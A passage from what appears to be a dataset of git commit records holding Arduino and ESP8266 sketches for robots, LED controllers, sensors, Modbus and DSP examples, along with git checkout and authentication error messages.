to\"); Serial.println(ssid);\n while(1) delay(500);\n }\n Serial.print(\"Ready! Use \");\n Serial.println(WiFi.localIP());\n}\n\nvoid setup() {\n Serial.begin(115200);\n setupWiFi();\n delay(2000);\n nh.initNode();\n nh.advertise(leftenc);\n nh.advertise(rightenc);\n nh.subscribe(sub_r);\n nh.subscribe(sub_l);\n nh.subscribe(sub_f);\n nh.subscribe(sub_b);\n\n pinMode(D1, OUTPUT); \/\/ 1,2EN aka D1 pwm left\n pinMode(D2, OUTPUT); \/\/ 3,4EN aka D2 pwm right\n pinMode(D3, OUTPUT); \/\/ 1A,2A aka D3\n pinMode(D4, OUTPUT); \/\/ 3A,4A aka D4\n pinMode(D5, INPUT); \/\/ Left encoder\n pinMode(D6, INPUT); \/\/ Right encoder\n \n attachInterrupt(D5, lencode, RISING); \/\/ Setup Interrupt \n attachInterrupt(D6, rencode, RISING); \/\/ Setup Interrupt \n sei(); \/\/ Enable interrupts \n int currentTime = millis();\n int cloopTime = currentTime;\n timer1_disable();\n timer1_isr_init();\n timer1_attachInterrupt(tic);\n timer1_enable(TIM_DIV1, TIM_EDGE, TIM_LOOP);\n timer1_write(8000000);\n}\n\nvoid loop() {\n int_msg.data = lmc;\n leftenc.publish( &int_msg );\n int_msg.data = rmc;\n rightenc.publish( &int_msg );\n nh.spinOnce();\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CarEspRos\/CarEspRos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a5a3218de4f68bc1f200e9918f4f54a8c23753c6","subject":"Adding light_test sketch","message":"Adding light_test sketch\n","repos":"kbarnes3\/Brobot,kbarnes3\/Brobot","old_file":"arduino\/light_test\/light_test.ino","new_file":"arduino\/light_test\/light_test.ino","new_contents":"\/\/ Light test sketch\r\n\r\n#include \"Arduino.h\"\r\n\r\nconst int cLights = 7;\r\nconst int rgLights[cLights] = {2, 3, 5, 7, 9, 11, 13};\r\n\r\nvoid setup()\r\n{\r\n for (int i = 0; i < cLights; i++)\r\n {\r\n pinMode(rgLights[i], OUTPUT);\r\n }\r\n}\r\n\r\nvoid loop()\r\n{\r\n for (int i = 0; i < cLights; i++)\r\n {\r\n digitalWrite(rgLights[i], HIGH);\r\n }\r\n\r\n delay(10000);\r\n}\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/light_test\/light_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b9065c665e649c45b8ed3113c044845ccf27dfe7","subject":"Add separate Blynk Board example. It deserves one! ;)","message":"Add separate Blynk Board example. It deserves one! ;)\n","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_WiFi\/Sparkfun_Blynk_Board\/Sparkfun_Blynk_Board.ino","new_file":"examples\/Boards_WiFi\/Sparkfun_Blynk_Board\/Sparkfun_Blynk_Board.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example runs on Sparkfun Blynk Board.\n *\n * You need to install this for ESP8266 development:\n * https:\/\/github.com\/esp8266\/Arduino\n *\n * NOTE: You can select NodeMCU 1.0 (compatible board)\n * in the Tools -> Board menu\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, ssid, pass);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_WiFi\/Sparkfun_Blynk_Board\/Sparkfun_Blynk_Board.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce95b52153aa223765dbbe3b9805239d8c33a136","subject":"Create fir.ino","message":"Create fir.ino","repos":"mozanunal\/SimpleDSP","old_file":"examples\/fir\/fir.ino","new_file":"examples\/fir\/fir.ino","new_contents":"\/*This is a signal sum of 800 hz and 3.2 khz sine waves\nwhich sampled in 10khz and 32 of this samples are \ncreate a data array.\nIn this example first fft later inverse fft of \nsignal calculated by arduino after the process output \ndata will be same with input as we expected.\n*\/\n\n#include \"simpleDSP_fir.h\"\n\n\n#define N 46 \/*length of impulse response*\/\nfloat DLY[N]; \t\t\/*delay samples *\/\nconst float H[N] = {\/* filter coefficients*\/\n0.00113053589111100,\n0.00101072486672204,\n0.000468847235288906,\n0.000603489038578611,\n-0.00208429064928862,\n-0.00340892103405782,\n-0.00362003403497889,\n-0.00179251511006564,\n0.00229274890344763,\n0.00758093034996730,\t\n0.0117041456801663,\t\n0.0117198866352666,\t\n0.00550311571071171,\t\n-0.00673606239661105,\t\n-0.0215570909070923,\t\n-0.0326442238558300,\t\n-0.0325783280789586,\t\n-0.0155583311041979,\t\n0.0199164513221244,\t\n0.0695391190116097,\t\n0.123656990515743,\t\n0.169767912370886,\t\n0.196291877716615,\t\n0.196291877716615,\t\n0.169767912370886,\t\n0.123656990515743,\t\n0.0695391190116097,\t\n0.0199164513221244,\t\n-0.0155583311041979,\t\n-0.0325783280789586,\t\n-0.0326442238558300,\t\n-0.0215570909070923,\t\n-0.00673606239661105,\t\n0.00550311571071171,\t\n0.0117198866352666,\t\n0.0117041456801663,\t\n0.00758093034996730,\t\n0.00229274890344763,\t\n-0.00179251511006564,\t\n-0.00362003403497889,\t\n-0.00340892103405782,\t\n-0.00208429064928862,\t\n-0.000603489038578611,\t\n0.000468847235288906,\t\n0.00101072486672204,\n0.00113053589111100\n};\n\n\nlong startTime;\nlong calcTime;\n\nvoid setup() {\n Serial.begin(9600);\n startTime = millis();\n FFT(data,DATA_LEN);\n IFFT(data,DATA_LEN);\n calcTime = millis()-startTime;\n Serial.print(\"Total calculation time: \");\n Serial.println(calcTime);\n for (int i=0; i<DATA_LEN; i++)\n {\n Serial.print(data[i].real\/DATA_LEN);\n Serial.print(\"\\t\\t\");\n Serial.println(data[i].imag\/DATA_LEN);\n }\n}\n\nvoid loop() \n{\n \/\/ put your main code here, to run repeatedly:\n\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/fir\/fir.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b373cc9fb2c219a644bf042166381730f85123c9","subject":"convertion function + convertion table","message":"convertion function + convertion table\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"ex01\/ex01.ino","new_file":"ex01\/ex01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"ae7a8ed152c7b0342d3d039cf670c911e7cbaad4","subject":"Create RS485_UnoR3_Slave.ino","message":"Create RS485_UnoR3_Slave.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rs485\/RS485_UnoR3_Slave.ino","new_file":"rs485\/RS485_UnoR3_Slave.ino","new_contents":"#include <SimpleModbusSlave.h>\n#include <Wire.h>\n#include \"rgb_lcd.h\"\n\nrgb_lcd lcd;\n\nconst int colorR = 255;\nconst int colorG = 0;\nconst int colorB = 0;\n\nint sensorValue = 0; \nint outputValue = 0; \n\n\n#define LED 8 \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ registers of your slave \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum \n{\n ADC_VAL, \n PWM_VAL, \n HOLDING_REGS_SIZE\n};\n\nunsigned int holdingRegs[HOLDING_REGS_SIZE]; \/\/ function 3 and 16 register array\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup()\n{\n lcd.begin(16, 2);\n lcd.setRGB(colorR, colorG, colorB);\n lcd.print(\"Receiving from Master...\");\n \n modbus_configure(&Serial, 9600, SERIAL_8N2, 1, 2, HOLDING_REGS_SIZE, holdingRegs);\n modbus_update_comms(9600, SERIAL_8N2, 1);\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n\n modbus_update();\n holdingRegs[ADC_VAL] = analogRead(A0);\n sensorValue = holdingRegs[PWM_VAL];\n\n outputValue = map(sensorValue, 0, 1023, 0, 255);\n\n if ( holdingRegs[PWM_VAL] > 600)\n {digitalWrite(LED, HIGH);\n delay(250);\n digitalWrite(LED, LOW);\n delay(250);\n }\n \n else {digitalWrite(LED, HIGH);}\n\nlcd.setCursor(0, 1);\nlcd.print(outputValue); \nlcd.setCursor(5, 1);\nlcd.print(holdingRegs[PWM_VAL]>>4); \nlcd.setCursor(10, 1);\nlcd.print(holdingRegs[PWM_VAL]); \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rs485\/RS485_UnoR3_Slave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff093a05243d54d95fd790ac9e75c26b8650749b","subject":"Updated version number for release","message":"Updated version number for release\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"86d706332f5fd89de122b9904497fb2cdd581df0","subject":"Add stub implementation for NodeMCU implementation","message":"Add stub implementation for NodeMCU implementation\n","repos":"brave-warrior\/Sensors-IoT,brave-warrior\/Sensors-IoT,brave-warrior\/Sensors-IoT","old_file":"Sensor\/NodeMcu\/sensor\/sensor.ino","new_file":"Sensor\/NodeMcu\/sensor\/sensor.ino","new_contents":"#include <ESP8266WiFi.h>\n\nconst char* ssid = \"FRITZ!Box Fon WLAN 7360\";\nconst char* password = \"62884846722859294257\";\n\nconst char* host = \"192.168.178.34\";\nchar* clientId = \"photo1\";\nchar* requestBody = \"{ \\\"name\\\":\\\"%s\\\", \\\"weatherData\\\": { \\\"temperature\\\":\\\"%f\\\", \\\"humidity\\\":\\\"%f\\\" } }\";\n\nint delayInMillis = 10000;\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nint value = 0;\n\nvoid loop() {\n delay(5000);\n ++value;\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 8080;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n String url = \"\/devices\";\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n\n \/\/char* body = printf(requestBody, clientId, \"90\", \"44\");\n \n \/\/ This will send the request to the server\n client.print(\"POST \" + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\" + \n \"Content-Type: application\/json\\r\\n\" +\n \"Content-Length: 73\\r\\n\" +\n \"\\r\\n\" +\n \"{\\\"name\\\":\\\"node2\\\", \\\"weatherData\\\": { \\\"temperature\\\":\\\"33\\\", \\\"humidity\\\":\\\"55\\\" } }\");\n unsigned long timeout = millis();\n while (client.available() == 0) {\n if (millis() - timeout > 8000) {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return;\n }\n }\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor\/NodeMcu\/sensor\/sensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"059595b9adac050bb9d60b98d02633838c75c4a2","subject":"Work in progress","message":"Work in progress\n","repos":"mertenats\/Arilux_AL-LC03,mertenats\/Arilux_AL-LC0X,mertenats\/Arilux_AL-LC0X,mertenats\/Arilux_AL-LC0X,mertenats\/Arilux_AL-LC03","old_file":"Arilux_AL-LC0X.ino","new_file":"Arilux_AL-LC0X.ino","new_contents":"\/*\n * Arilux AL-LC03\n * Alternative firmware\n *\n * Work in progress...\n *\/\n#include <ESP8266WiFi.h> \/\/ https:\/\/github.com\/esp8266\/Arduino\n#include <ArduinoOTA.h>\n\n\/\/ Analog output\n\/\/ http:\/\/esp8266.github.io\/Arduino\/versions\/2.0.0\/doc\/reference.html\nconst PROGMEM uint8_t PWM_RANGE = 255; \/\/ 0-255, 1023 by default\nconst PROGMEM uint16_t PWM_FREQUENCY = 500; \/\/ 1 [kHz] by default\n\n\/\/ RGB pins\nconst PROGMEM uint8_t GREEN_PIN = 5;\nconst PROGMEM uint8_t RED_PIN = 14;\nconst PROGMEM uint8_t BLUE_PIN = 12;\n\n\/\/ IR pin\nconst PROGMEM uint8_t IR_PIN = 4;\n\n#define IR_REMOTE\n#ifdef IR_REMOTE\n #include <IRremoteESP8266.h> \/\/ https:\/\/github.com\/markszabo\/IRremoteESP8266\n IRrecv irRecv(IR_PIN);\n#endif\n\n\/\/#define DEBUG_SERIAL\n#define DEBUG_TELNET\n#ifdef DEBUG_TELNET\n WiFiServer telnetServer(23);\n WiFiClient telnetClient;\n#endif\n\n\/*\n * IR Remote\n * Encoding: NEC\n * +------+------+------+------+\n * | UP | Down | OFF | ON |\n * +------+------+------+------+\n * | R | G | B | W |\n * +------+------+------+------+\n * | 1 | 2 | 3 |FLASH |\n * +------+------+------+------+\n * | 4 | 5 | 6 |STROBE|\n * +------+------+------+------+\n * | 7 | 8 | 9 | FADE |\n * +------+------+------+------+\n * | 10 | 11 | 12 |SMOOTH|\n * +------+------+------+------+\n *\/\n#ifdef IR_REMOTE\nconst unsigned int IR_CODE_KEY_UP = 0xFF906F;\nconst unsigned int IR_CODE_KEY_DOWN = 0xFFB847;\nconst unsigned int IR_CODE_KEY_OFF = 0xFFF807;\nconst unsigned int IR_CODE_KEY_ON = 0xFFB04F;\nconst unsigned int IR_CODE_KEY_R = 0xFF9867;\nconst unsigned int IR_CODE_KEY_G = 0xFFD827;\nconst unsigned int IR_CODE_KEY_B = 0xFF8877;\nconst unsigned int IR_CODE_KEY_W = 0xFFA857;\nconst unsigned int IR_CODE_KEY_1 = 0xFFE817;\nconst unsigned int IR_CODE_KEY_2 = 0xFF48B7;\nconst unsigned int IR_CODE_KEY_3 = 0xFF6897;\nconst unsigned int IR_CODE_KEY_FLASH = 0xFFB24D;\nconst unsigned int IR_CODE_KEY_4 = 0xFF02FD;\nconst unsigned int IR_CODE_KEY_5 = 0xFF32CD;\nconst unsigned int IR_CODE_KEY_6 = 0xFF20DF;\nconst unsigned int IR_CODE_KEY_STROBE = 0xFF00FF;\nconst unsigned int IR_CODE_KEY_7 = 0xFF50AF;\nconst unsigned int IR_CODE_KEY_8 = 0xFF7887;\nconst unsigned int IR_CODE_KEY_9 = 0xFF708F;\nconst unsigned int IR_CODE_KEY_FADE = 0xFF58A7;\nconst unsigned int IR_CODE_KEY_10 = 0xFF38C7;\nconst unsigned int IR_CODE_KEY_11 = 0xFF28D7;\nconst unsigned int IR_CODE_KEY_12 = 0xFFF00F;\nconst unsigned int IR_CODE_KEY_SMOOTH = 0xFF30CF;\n#endif\n\n\/\/ Macros for debugging\n#ifdef DEBUG_SERIAL\n #define DEBUG_PRINT(x) Serial.print(x)\n #define DEBUG_PRINTLN(x) Serial.println(x)\n#else\n #define DEBUG_PRINT(x)\n #define DEBUG_PRINTLN(x)\n#endif\n#ifdef DEBUG_TELNET\n #define DEBUG_PRINT(x) telnetClient.print(x)\n #define DEBUG_PRINTLN(x) telnetClient.println(x)\n#else\n #define DEBUG_PRINT(x)\n #define DEBUG_PRINTLN(x)\n#endif\n\n\/\/ Wi-Fi\nconst char* WIFI_SSID = \"\";\nconst char* WIFI_PASSWORD = \"\";\n\n\/*\n * Function called to handle Telnet clients\n * https:\/\/www.youtube.com\/watch?v=j9yW10OcahI\n *\/\n#ifdef DEBUG_TELNET\nvoid handleTelnet() {\n if (telnetServer.hasClient()) {\n if (!telnetClient || !telnetClient.connected()) {\n if (telnetClient) {\n telnetClient.stop();\n }\n telnetClient = telnetServer.available();\n } else {\n telnetServer.available().stop();\n }\n }\n}\n#endif\n\n\/*\n * Function called to handle received IR codes from the remote\n *\/\n#ifdef IR_REMOTE\nvoid handleIRRemote() {\n decode_results results;\n\n if (irRecv.decode(&results)) {\n switch(results.value) {\n case IR_CODE_KEY_UP:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_UP\"));\n break;\n case IR_CODE_KEY_DOWN:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_DOWN\"));\n break;\n case IR_CODE_KEY_OFF:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_OFF\"));\n break;\n case IR_CODE_KEY_ON:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_ON\"));\n break;\n case IR_CODE_KEY_R:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_R\"));\n break;\n case IR_CODE_KEY_G:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_G\"));\n break;\n case IR_CODE_KEY_B:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_B\"));\n break;\n case IR_CODE_KEY_W:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_W\"));\n break;\n case IR_CODE_KEY_1:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_1\"));\n break;\n case IR_CODE_KEY_2:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_2\"));\n break;\n case IR_CODE_KEY_3:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_3\"));\n break;\n case IR_CODE_KEY_FLASH:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_FLASH\"));\n break;\n case IR_CODE_KEY_4:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_4\"));\n break;\n case IR_CODE_KEY_5:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_5\"));\n break;\n case IR_CODE_KEY_6:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_6\"));\n break;\n case IR_CODE_KEY_STROBE:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_STROBE\"));\n break;\n case IR_CODE_KEY_7:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_7\"));\n break;\n case IR_CODE_KEY_8:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_8\"));\n break;\n case IR_CODE_KEY_9:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_9\"));\n break;\n case IR_CODE_KEY_FADE:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_FADE\"));\n break;\n case IR_CODE_KEY_10:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_10\"));\n break;\n case IR_CODE_KEY_11:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_11\"));\n break;\n case IR_CODE_KEY_12:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_12\"));\n break;\n case IR_CODE_KEY_SMOOTH:\n DEBUG_PRINTLN(F(\"INFO: IR_CODE_KEY_SMOOTH\"));\n break;\n default:\n DEBUG_PRINTLN(F(\"ERROR: IR code not defined\"));\n break;\n }\n irRecv.resume();\n }\n}\n#endif\n\nvoid setupWiFi() {\n delay(10);\n \/\/DEBUG_PRINT(F(\"INFO: Connecting to: \"));\n \/\/DEBUG_PRINTLN(WIFI_SSID);\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n \/\/DEBUG_PRINT(\".\");\n }\n\n randomSeed(micros());\n\n \/\/DEBUG_PRINTLN();\n \/\/DEBUG_PRINTLN(F(\"INFO: WiFi connected\"));\n \/\/DEBUG_PRINT(F(\"INFO: IP address: \"));\n \/\/DEBUG_PRINTLN(WiFi.localIP());\n}\n\nvoid setup() {\n#ifdef DEBUG_SERIAL\n Serial.begin(115200);\n#endif\n#ifdef DEBUG_TELNET\n telnetServer.begin();\n telnetServer.setNoDelay(true);\n#endif\n\n \/\/ Wi-Fi\n setupWiFi();\n\n \/\/ set the PWM frequency and range\n analogWriteFreq(PWM_FREQUENCY);\n analogWriteRange(PWM_RANGE);\n\n \/\/ init the pins as OUTPUT\n pinMode(RED_PIN, OUTPUT);\n pinMode(GREEN_PIN, OUTPUT);\n pinMode(BLUE_PIN, OUTPUT);\n\n \/\/ start the IR receiver\n pinMode(IR_PIN, INPUT);\n irRecv.enableIRIn();\n\n\n ArduinoOTA.setHostname(\"esp8266\");\n ArduinoOTA.begin();\n}\n\nvoid loop() {\n ArduinoOTA.handle();\n\n#ifdef DEBUG_TELNET\n \/\/ handle Telnet connection for debugging\n handleTelnet();\n#endif\n\nyield();\n\n#ifdef IR_REMOTE\n \/\/ handle received IR codes from the remote\n handleIRRemote();\n#endif\n\nyield();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arilux_AL-LC0X.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fcb8f84b83e8b7894b67c3adbeec938180efe247","subject":"arduinoised slave2 code","message":"arduinoised slave2 code\n","repos":"brianchen118\/Team-PI-Repo,brainchen98\/Team-PI-Repo,brianchen118\/Team-PI-Repo,brainchen98\/Team-PI-Repo","old_file":"slave2\/slave2.ino","new_file":"slave2\/slave2.ino","new_contents":"\/*\n * slave2.cpp - slave2 program for Team Pi\n * \n *\n * by Brian Chen\n * Originally authored in November 2014\n * (C) Team PI 2015\n *\/\n\n\n#include <WProgram.h>\n#include <t3spi.h>\n#include <TSOPS.h>\n#include <piCommon.h>\n#include <DebugUtils.h>\n\n\n\/**********************************************************\/\n\/*\t\t\t\t\t General\t\t\t\t\t\t *\/\n\/**********************************************************\/\n\n#define DEBUG_SERIAL\n#define LED 13\nuint8_t status = 0;\t \/\/ status of program\/slave\n\n\/**********************************************************\/\n\/*\t\t\t\t Battery monitoring\t\t\t\t\t*\/\n\/**********************************************************\/\n#define VBAT_LV_PIN A11\n#define VBAT_HV_PIN A10\n\nvolatile uint8_t vbatLV, vbatHV;\n\/**********************************************************\/\n\/*\t\t\t\t\t\t SPI\t\t\t\t\t\t\t*\/\n\/**********************************************************\/\n\nT3SPI SPI; \/\/ create SPI object\nvolatile uint8_t dataOut[2];\nvolatile uint8_t command = 255;\nvolatile int16_t tsopAngleVol;\nvolatile uint8_t tsopStrengthVol;\n\n\/\/ blink\nelapsedMillis ledElapsedTime;\n\nbool ledState = true;\nuint32_t ledBlinkTime = 500;\n\nvolatile uint32_t spiRequestCount = 0;\nuint32_t spiRequestCount_prev = 0;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t\tTSOPS\t\t\t\t\t\t *\/\n\/**********************************************************\/\n\/* 40kHz Anything lower than 25us is overkill. For some reason though\n it seems like it actually updates every 20uS when I read using\n elapsedMicros *\/\n \/\/ wait \n#define ISR_INTERVAL 50\n\/\/#define ISR_INTERVAL 2500\n\n#define TSOP_RESOLUTION 255\n\nbool tsopsOn = true;\n\n\nIntervalTimer TSOP_ISR_Timer;\nvolatile uint32_t TSOP_ISR_Count = 0;\n\nTSOPS tsops; \/\/ TSOPS object\n\n\/* though tsops already has a member for the data, it's continuously f\n updated and incomplete this variable array stores the most recent \n tsop data that has been complete (after 255 interrupts) *\/\nuint8_t tsopData[TSOP_COUNT]; \n\ninline void initBatReadings();\ninline void readBat();\ninline void initSPI();\ninline void ledBlink();\nvoid TSOP_ISR();\n\nextern \"C\" int main(){\n\tnoInterrupts();\n\n\tCORE_PIN33_CONFIG = 0; \/\/ completely disables the pin\n\t\n\tpinMode(13, OUTPUT);\n\n\tdigitalWrite(13, LOW);\n\tSerial.begin(115200); \/\/ nice number but it doesn't actually matter for the Teensy 3.x\n\tdigitalWrite(13, LOW);\n\n\ttsops.begin();\t \/\/ initialise TSOPS\n\ttsops.angle = -99; \/\/ for debugging purposes, initially set angle as this\n\ttsops.strength = 150;\n\n\tdigitalWrite(13, LOW);\n\tinitBatReadings(); \/\/ initialise battery readings\n\tdigitalWrite(13, LOW);\n\n\tinitSPI();\t\t \/\/ initialise SPI slave\n\tdigitalWrite(13, HIGH);\n\t\/* set TSOP ISR priority 0 to 255, 0 being the highest (127 default)\n\t we don't want the interrupt to interfer with SPI too much. However *\/\n\tTSOP_ISR_Timer.priority(127);\n\tdigitalWrite(13, LOW);\n\t\/\/ attach TSOP ISR\n\tTSOP_ISR_Timer.begin(TSOP_ISR, ISR_INTERVAL);\n\tdigitalWrite(13, HIGH);\n\tinterrupts();\t \/\/ enable interrupts\n\n\twhile(1){\t\n\t}\n\n\treturn 0;\t\t \/\/ it'll never reach here\n}\n\n\/\/ Initialise battery readings\ninline void initBatReadings(){\n\tpinMode(VBAT_LV_PIN, INPUT);\n\tpinMode(VBAT_HV_PIN, INPUT);\n\tanalogReference(EXTERNAL); \/\/ IMPORTANT!\n\tanalogReadResolution(8);\t\/\/ Don't need more than 8 bits of resolution (they're just batteries)\n\tanalogReadAveraging(32);\t\/\/ highest averaging as we don't need fast sampling\n}\n\n\/\/ Simple reading of batteries\ninline void readBat(){\n\tvbatLV = analogRead(VBAT_LV_PIN);\n\tvbatHV = analogRead(VBAT_HV_PIN);\n}\n\ninline void ledBlink(){\n\t\/\/ led blinking\n\tif (ledElapsedTime > ledBlinkTime){\n\t\tif (ledState){\n\t\t\tdigitalWriteFast(LED, HIGH);\n\t\t}\n\t\telse{\n\t\t\tdigitalWriteFast(LED, LOW);\n\t\t}\n\t\tledState = !ledState;\n\t\tledElapsedTime = 0;\n\t}\n}\n\n\/\/ Initialise SPI as slave\ninline void initSPI(){\n\tSPI.begin_SLAVE(ALT_SCK, MOSI, MISO, CS0);\n\tSPI.setCTAR_SLAVE(8, SPI_MODE0);\n\tNVIC_SET_PRIORITY(IRQ_SPI0, 127); \/\/ set priority\n\t\/\/ Enable the SPI0 Interrupt\n\tNVIC_ENABLE_IRQ(IRQ_SPI0);\n}\n\n\/* Interrupt Service Routine to handle incoming data\n For best performance, direct access to hardware SPI registers are used (instead of via lib) *\/\nvoid spi0_isr(){\n\tcommand = SPI0_POPR;\n\tswitch(command){\n\t\t\/\/case 255: command = c; SPI0_PUSHR_SLAVE = 0; break;\n\t\tcase 0: SPI0_PUSHR_SLAVE = 0; break;\n\t\t\/\/ case SLAVE2_COMMANDS::SLAVE2_CHECK_STATUS: SPI0_PUSHR_SLAVE = status;\t\t\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA0:\t\t SPI0_PUSHR_SLAVE = tsopData[0];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA1:\t\t SPI0_PUSHR_SLAVE = tsopData[1];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA2:\t\t SPI0_PUSHR_SLAVE = tsopData[2];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA3:\t\t SPI0_PUSHR_SLAVE = tsopData[3];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA4:\t\t SPI0_PUSHR_SLAVE = tsopData[4];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA5:\t\t SPI0_PUSHR_SLAVE = tsopData[5];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA6:\t\t SPI0_PUSHR_SLAVE = tsopData[6];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA7:\t\t SPI0_PUSHR_SLAVE = tsopData[7];\t\t 